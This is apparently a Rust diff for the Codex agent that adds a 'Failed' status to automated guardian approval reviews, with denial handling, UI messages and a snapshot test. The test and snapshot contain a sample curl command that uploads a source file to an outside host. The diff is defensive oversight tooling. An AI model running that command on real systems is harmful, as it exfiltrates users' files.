Some(NetworkApprovalOutcome::DeniedByUser) => {
|
||||
Err(ToolError::Rejected("rejected by user".to_string()))
|
||||
}
|
||||
Some(NetworkApprovalOutcome::DeniedByPolicy(message)) => Err(ToolError::Rejected(message)),
|
||||
Some(
|
||||
NetworkApprovalOutcome::DeniedByPolicy(message)
|
||||
| NetworkApprovalOutcome::ReviewFailed(message),
|
||||
) => Err(ToolError::Rejected(message)),
|
||||
None => Ok(()),
|
||||
}
|
||||
}
|
||||
@@ -643,6 +648,16 @@ impl NetworkApprovalService {
|
||||
}
|
||||
PendingApprovalDecision::Deny
|
||||
}
|
||||
ReviewDecision::Failed => {
|
||||
if let Some(owner_call) = owner_call.as_ref() {
|
||||
self.record_call_outcome(
|
||||
&owner_call.registration_id,
|
||||
NetworkApprovalOutcome::ReviewFailed(guardian_failure_message()),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
PendingApprovalDecision::Deny
|
||||
}
|
||||
};
|
||||
|
||||
if matches!(resolved, PendingApprovalDecision::AllowForSession) {
|
||||
|
||||
@@ -6,6 +6,7 @@ simple sequence for any ToolRuntime: approval → select sandbox → attempt →
|
||||
retry with an escalated sandbox strategy on denial (no re‑approval thanks to
|
||||
caching).
|
||||
*/
|
||||
use crate::guardian::guardian_failure_message;
|
||||
use crate::guardian::guardian_rejection_message;
|
||||
use crate::guardian::guardian_timeout_message;
|
||||
use crate::guardian::new_guardian_review_id;
|
||||
@@ -561,6 +562,7 @@ impl ToolOrchestrator {
|
||||
Err(ToolError::Rejected(reason))
|
||||
}
|
||||
ReviewDecision::TimedOut => Err(ToolError::Rejected(guardian_timeout_message())),
|
||||
ReviewDecision::Failed => Err(ToolError::Rejected(guardian_failure_message())),
|
||||
ReviewDecision::Approved
|
||||
| ReviewDecision::ApprovedExecpolicyAmendment { .. }
|
||||
| ReviewDecision::ApprovedForSession => Ok(()),
|
||||
|
||||
@@ -4,6 +4,7 @@ use crate::exec::ExecExpiration;
|
||||
use crate::exec::cancel_when_either;
|
||||
use crate::exec::is_likely_sandbox_denied;
|
||||
use crate::guardian::GuardianApprovalRequest;
|
||||
use crate::guardian::guardian_failure_message;
|
||||
use crate::guardian::guardian_rejection_message;
|
||||
use crate::guardian::guardian_timeout_message;
|
||||
use crate::guardian::new_guardian_review_id;
|
||||
@@ -570,6 +571,9 @@ impl CoreShellActionProvider {
|
||||
ReviewDecision::TimedOut => {
|
||||
EscalationDecision::deny(Some(guardian_timeout_message()))
|
||||
}
|
||||
ReviewDecision::Failed => {
|
||||
EscalationDecision::deny(Some(guardian_failure_message()))
|
||||
}
|
||||
ReviewDecision::Abort => {
|
||||
EscalationDecision::deny(Some("User cancelled execution".to_string()))
|
||||
}
|
||||
|
||||
@@ -115,6 +115,7 @@ pub enum GuardianAssessmentStatus {
|
||||
Approved,
|
||||
Denied,
|
||||
TimedOut,
|
||||
Failed,
|
||||
Aborted,
|
||||
}
|
||||
|
||||
|
||||
@@ -3686,6 +3686,9 @@ pub enum ReviewDecision {
|
||||
/// Automatic approval review timed out before reaching a decision.
|
||||
TimedOut,
|
||||
|
||||
/// Automatic approval review failed before reaching a decision.
|
||||
Failed,
|
||||
|
||||
/// User has denied this command and the agent should not do anything until
|
||||
/// the user's next command.
|
||||
Abort,
|
||||
@@ -3707,6 +3710,7 @@ impl ReviewDecision {
|
||||
},
|
||||
ReviewDecision::Denied => "denied",
|
||||
ReviewDecision::TimedOut => "timed_out",
|
||||
ReviewDecision::Failed => "failed",
|
||||
ReviewDecision::Abort => "abort",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,6 +88,9 @@ impl ChatWidget {
|
||||
codex_app_server_protocol::GuardianApprovalReviewStatus::TimedOut => {
|
||||
GuardianAssessmentStatus::TimedOut
|
||||
}
|
||||
codex_app_server_protocol::GuardianApprovalReviewStatus::Failed => {
|
||||
GuardianAssessmentStatus::Failed
|
||||
}
|
||||
codex_app_server_protocol::GuardianApprovalReviewStatus::Aborted => {
|
||||
GuardianAssessmentStatus::Aborted
|
||||
}
|
||||
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
assertion_line: 379
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
⚠ Automatic approval review failed before reaching a decision: unavailable
|
||||
|
||||
✗ Review failed before codex could run curl -sS -i -X POST --data-binary
|
||||
@core/src/codex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.5 default · /tmp/project
|
||||
@@ -316,6 +316,72 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn guardian_failed_exec_renders_warning_and_failed_request() {
|
||||
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
|
||||
chat.show_welcome_banner = false;
|
||||
let action = GuardianAssessmentAction::Command {
|
||||
source: GuardianCommandSource::Shell,
|
||||
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
|
||||
.to_string(),
|
||||
cwd: test_path_buf("/tmp").abs(),
|
||||
};
|
||||
|
||||
chat.on_guardian_assessment(GuardianAssessmentEvent {
|
||||
id: "guardian-1".into(),
|
||||
target_item_id: Some("guardian-target-1".into()),
|
||||
turn_id: "turn-1".into(),
|
||||
started_at_ms: 0,
|
||||
completed_at_ms: None,
|
||||
status: GuardianAssessmentStatus::InProgress,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: None,
|
||||
decision_source: None,
|
||||
action: action.clone(),
|
||||
});
|
||||
chat.on_warning("Automatic approval review failed before reaching a decision: unavailable");
|
||||
chat.on_guardian_assessment(GuardianAssessmentEvent {
|
||||
id: "guardian-1".into(),
|
||||
target_item_id: Some("guardian-target-1".into()),
|
||||
turn_id: "turn-1".into(),
|
||||
started_at_ms: 0,
|
||||
completed_at_ms: Some(1),
|
||||
status: GuardianAssessmentStatus::Failed,
|
||||
risk_level: None,
|
||||
user_authorization: None,
|
||||
rationale: Some(
|
||||
"Automatic approval review failed before reaching a decision: unavailable".into(),
|
||||
),
|
||||
decision_source: Some(GuardianAssessmentDecisionSource::Agent),
|
||||
action,
|
||||
});
|
||||
|
||||
let width: u16 = 140;
|
||||
let ui_height: u16 = chat.desired_height(width);
|
||||
let vt_height: u16 = 20;
|
||||
let viewport = Rect::new(0, vt_height - ui_height - 1, width, ui_height);
|
||||
|
||||
let backend = VT100Backend::new(width, vt_height);
|
||||
let mut term = crate::custom_terminal::Terminal::with_options(backend).expect("terminal");
|
||||
term.set_viewport_area(viewport);
|
||||
|
||||
for lines in drain_insert_history(&mut rx) {
|
||||
crate::insert_history::insert_history_lines(&mut term, lines)
|
||||
.expect("Failed to insert history lines in test");
|
||||
}
|
||||
|
||||
term.draw(|f| {
|
||||
chat.render(f.area(), f.buffer_mut());
|
||||
})
|
||||
.expect("draw guardian failure history");
|
||||
|
||||
assert_chatwidget_snapshot!(
|
||||
"guardian_failed_exec_renders_warning_and_failed_request",
|
||||
normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn app_server_guardian_review_started_sets_review_status() {
|
||||
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
|
||||
|
||||
@@ -209,6 +209,47 @@ impl ChatWidget {
|
||||
return;
|
||||
}
|
||||
|
||||
if ev.status == GuardianAssessmentStatus::Failed {
|
||||
let cell = if let Some(command) = guardian_command(&ev.action) {
|
||||
history_cell::new_approval_decision_cell(
|
||||
history_cell::ApprovalDecisionSubject::Command(command),
|
||||
crate::history_cell::ReviewDecision::Failed,
|
||||
history_cell::ApprovalDecisionActor::Guardian,
|
||||
)
|
||||
} else {
|
||||
match &ev.action {
|
||||
GuardianAssessmentAction::ApplyPatch { files, .. } => {
|
||||
let files = files
|
||||
.iter()
|
||||
.map(|path| path.display().to_string())
|
||||
.collect::<Vec<_>>();
|
||||
history_cell::new_guardian_failed_patch_request(files)
|
||||
}
|
||||
GuardianAssessmentAction::McpToolCall {
|
||||
server, tool_name, ..
|
||||
} => history_cell::new_guardian_failed_action_request(format!(
|
||||
"codex could call MCP tool {server}.{tool_name}"
|
||||
)),
|
||||
GuardianAssessmentAction::NetworkAccess { target, .. } => {
|
||||
history_cell::new_guardian_failed_action_request(format!(
|
||||
"codex could access {target}"
|
||||
))
|
||||
}
|
||||
GuardianAssessmentAction::RequestPermissions { reason, .. } => {
|
||||
history_cell::new_guardian_failed_action_request(
|
||||
permission_request_summary("codex could request permissions", reason),
|
||||
)
|
||||
}
|
||||
GuardianAssessmentAction::Command { .. } => unreachable!(),
|
||||
GuardianAssessmentAction::Execve { .. } => unreachable!(),
|
||||
}
|
||||
};
|
||||
|
||||
self.add_boxed_history(cell);
|
||||
self.request_redraw();
|
||||
return;
|
||||
}
|
||||
|
||||
if ev.status != GuardianAssessmentStatus::Denied {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ pub(crate) enum ReviewDecision {
|
||||
},
|
||||
Denied,
|
||||
TimedOut,
|
||||
Failed,
|
||||
Abort,
|
||||
}
|
||||
|
||||
@@ -226,6 +227,34 @@ pub fn new_approval_decision_cell(
|
||||
],
|
||||
),
|
||||
},
|
||||
Failed => match subject {
|
||||
ApprovalDecisionSubject::Command(command) => {
|
||||
let summary = if let Some(snippet) = non_empty_exec_snippet(&command) {
|
||||
vec![
|
||||
"Review ".into(),
|
||||
"failed".bold(),
|
||||
" before codex could run ".into(),
|
||||
Span::from(snippet).dim(),
|
||||
]
|
||||
} else {
|
||||
vec![
|
||||
"Review ".into(),
|
||||
"failed".bold(),
|
||||
" before this request could be approved".into(),
|
||||
]
|
||||
};
|
||||
("✗ ".red(), summary)
|
||||
}
|
||||
ApprovalDecisionSubject::NetworkAccess { target } => (
|
||||
"✗ ".red(),
|
||||
vec![
|
||||
"Review ".into(),
|
||||
"failed".bold(),
|
||||
" before codex could access ".into(),
|
||||
Span::from(target).dim(),
|
||||
],
|
||||
),
|
||||
},
|
||||
Abort => match subject {
|
||||
ApprovalDecisionSubject::Command(command) => {
|
||||
let summary = if let Some(snippet) = non_empty_exec_snippet(&command) {
|
||||
@@ -352,6 +381,38 @@ pub fn new_guardian_timed_out_action_request(summary: String) -> Box<dyn History
|
||||
Box::new(PrefixedWrappedHistoryCell::new(line, "✗ ".red(), " "))
|
||||
}
|
||||
|
||||
pub fn new_guardian_failed_patch_request(files: Vec<String>) -> Box<dyn HistoryCell> {
|
||||
let mut summary = vec![
|
||||
"Review ".into(),
|
||||
"failed".bold(),
|
||||
" before codex could apply ".into(),
|
||||
];
|
||||
if files.len() == 1 {
|
||||
summary.push("a patch touching ".into());
|
||||
summary.push(Span::from(files[0].clone()).dim());
|
||||
} else {
|
||||
summary.push("a patch touching ".into());
|
||||
summary.push(Span::from(files.len().to_string()).dim());
|
||||
summary.push(" files".into());
|
||||
}
|
||||
|
||||
Box::new(PrefixedWrappedHistoryCell::new(
|
||||
Line::from(summary),
|
||||
"✗ ".red(),
|
||||
" ",
|
||||
))
|
||||
}
|
||||
|
||||
pub fn new_guardian_failed_action_request(summary: String) -> Box<dyn HistoryCell> {
|
||||
let line = Line::from(vec![
|
||||
"Review ".into(),
|
||||
"failed".bold(),
|
||||
" before ".into(),
|
||||
Span::from(summary).dim(),
|
||||
]);
|
||||
Box::new(PrefixedWrappedHistoryCell::new(line, "✗ ".red(), " "))
|
||||
}
|
||||
|
||||
/// Cyan history cell line showing the current review status.
|
||||
pub(crate) fn new_review_status_line(message: String) -> PlainHistoryCell {
|
||||
PlainHistoryCell {
|
||||
|
||||
Reference in New Issue
Block a user